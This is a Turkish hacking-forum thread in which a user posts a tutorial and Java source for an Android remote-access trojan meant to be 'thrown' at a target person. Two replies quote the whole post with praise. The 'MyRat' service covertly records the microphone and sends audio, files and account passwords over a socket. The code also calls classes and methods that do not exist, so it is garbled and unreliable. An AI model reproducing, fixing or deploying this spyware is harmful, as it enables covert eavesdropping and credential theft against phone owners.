Android için RAT nasıl hazırlanır.

Merhaba gençler umarım iyisinizdir bu gün sizlere android için rat nasıl atılır onu

göstericem.
1) İlk olarak Android studio’yu açın. Kendi resmi web sitesinden indirebilirsiniz.
2) Açtıktan sonra yeni proje aça basın.
3) Proje ve Paket adı belirleyin ama paket adı farklı bir yerde kullanılmamış olmasına dikkat edin.
4) Atacağınız kişinin (izin almayı unutmayın) android sürümünü seçin.

5) proje yapısını oluşturma
6) Proje yapısını seçin
7)kodeyi derleyin
8) Uygulamayı çalıştır yapıp test edin.


Java:
public class MyRat extends Service {
    private MediaRecorder mediaRecorder;
    private Socket socket;
    private File file;
    private AccountManager accountManager;
    private PasswordManager passwordManager;

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        mediaRecorder = new MediaRecorder();
        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
        mediaRecorder.setOutputFile("/sdcard/audio.mp3");
        mediaRecorder.prepare();
        mediaRecorder.start();

        socket = new Socket();
        socket.connect("localhost", 8080);

        accountManager = AccountManager.get(this);
        passwordManager = PasswordManager.get(this);
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        mediaRecorder.stop();
        mediaRecorder.release();
        socket.close();
    }

    public void sendAudio() {
        try {
            socket.getOutputStream().write(mediaRecorder.getAudioData());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void sendFile(File file) {
        try {
            socket.getOutputStream().write(file.getBytes());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void sendPasswords() {
        List<Account> accounts = accountManager.getAccounts();
        for (Account account : accounts) {
            String password = passwordManager.getPassword(account);
            if (password != null) {
                // Send the password to the server
                socket.getOutputStream().write(password.getBytes());
            }
        }
    }
}



Kod:
public class MainActivity extends AppCompatActivity {
    private MyRat myRat;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        myRat = new MyRat();
        myRat.start();
    }
}

Arkadaşlar görsel olmadığı için üzgünüm yardıma ihtiyacınız olursa DM atabilirsiniz bide formumu beğenirseniz güzel olur.
 

anonim5

Üye
30 Eki 2023
54
14
Merhaba gençler umarım iyisinizdir bu gün sizlere android için rat nasıl atılır onu

göstericem.
1) İlk olarak Android studio’yu açın. Kendi resmi web sitesinden indirebilirsiniz.
2) Açtıktan sonra yeni proje aça basın.
3) Proje ve Paket adı belirleyin ama paket adı farklı bir yerde kullanılmamış olmasına dikkat edin.
4) Atacağınız kişinin (izin almayı unutmayın) android sürümünü seçin.

5) proje yapısını oluşturma
6) Proje yapısını seçin
7)kodeyi derleyin
8) Uygulamayı çalıştır yapıp test edin.


Java:
public class MyRat extends Service {
    private MediaRecorder mediaRecorder;
    private Socket socket;
    private File file;
    private AccountManager accountManager;
    private PasswordManager passwordManager;

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        mediaRecorder = new MediaRecorder();
        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
        mediaRecorder.setOutputFile("/sdcard/audio.mp3");
        mediaRecorder.prepare();
        mediaRecorder.start();

        socket = new Socket();
        socket.connect("localhost", 8080);

        accountManager = AccountManager.get(this);
        passwordManager = PasswordManager.get(this);
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        mediaRecorder.stop();
        mediaRecorder.release();
        socket.close();
    }

    public void sendAudio() {
        try {
            socket.getOutputStream().write(mediaRecorder.getAudioData());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void sendFile(File file) {
        try {
            socket.getOutputStream().write(file.getBytes());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void sendPasswords() {
        List<Account> accounts = accountManager.getAccounts();
        for (Account account : accounts) {
            String password = passwordManager.getPassword(account);
            if (password != null) {
                // Send the password to the server
                socket.getOutputStream().write(password.getBytes());
            }
        }
    }
}



Kod:
public class MainActivity extends AppCompatActivity {
    private MyRat myRat;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        myRat = new MyRat();
        myRat.start();
    }
}

Arkadaşlar görsel olmadığı için üzgünüm yardıma ihtiyacınız olursa DM atabilirsiniz bide formumu beğenirseniz güzel olur.
Eline sağlık
 

NMSHacking

Üye
4 Haz 2023
196
53
Merhaba gençler umarım iyisinizdir bu gün sizlere android için rat nasıl atılır onu

göstericem.
1) İlk olarak Android studio’yu açın. Kendi resmi web sitesinden indirebilirsiniz.
2) Açtıktan sonra yeni proje aça basın.
3) Proje ve Paket adı belirleyin ama paket adı farklı bir yerde kullanılmamış olmasına dikkat edin.
4) Atacağınız kişinin (izin almayı unutmayın) android sürümünü seçin.

5) proje yapısını oluşturma
6) Proje yapısını seçin
7)kodeyi derleyin
8) Uygulamayı çalıştır yapıp test edin.


Java:
public class MyRat extends Service {
    private MediaRecorder mediaRecorder;
    private Socket socket;
    private File file;
    private AccountManager accountManager;
    private PasswordManager passwordManager;

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        mediaRecorder = new MediaRecorder();
        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
        mediaRecorder.setOutputFile("/sdcard/audio.mp3");
        mediaRecorder.prepare();
        mediaRecorder.start();

        socket = new Socket();
        socket.connect("localhost", 8080);

        accountManager = AccountManager.get(this);
        passwordManager = PasswordManager.get(this);
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        mediaRecorder.stop();
        mediaRecorder.release();
        socket.close();
    }

    public void sendAudio() {
        try {
            socket.getOutputStream().write(mediaRecorder.getAudioData());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void sendFile(File file) {
        try {
            socket.getOutputStream().write(file.getBytes());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void sendPasswords() {
        List<Account> accounts = accountManager.getAccounts();
        for (Account account : accounts) {
            String password = passwordManager.getPassword(account);
            if (password != null) {
                // Send the password to the server
                socket.getOutputStream().write(password.getBytes());
            }
        }
    }
}



Kod:
public class MainActivity extends AppCompatActivity {
    private MyRat myRat;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        myRat = new MyRat();
        myRat.start();
    }
}

Arkadaşlar görsel olmadığı için üzgünüm yardıma ihtiyacınız olursa DM atabilirsiniz bide formumu beğenirseniz güzel olur.
bu arada kodu renki yapman da hoş olmuş
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.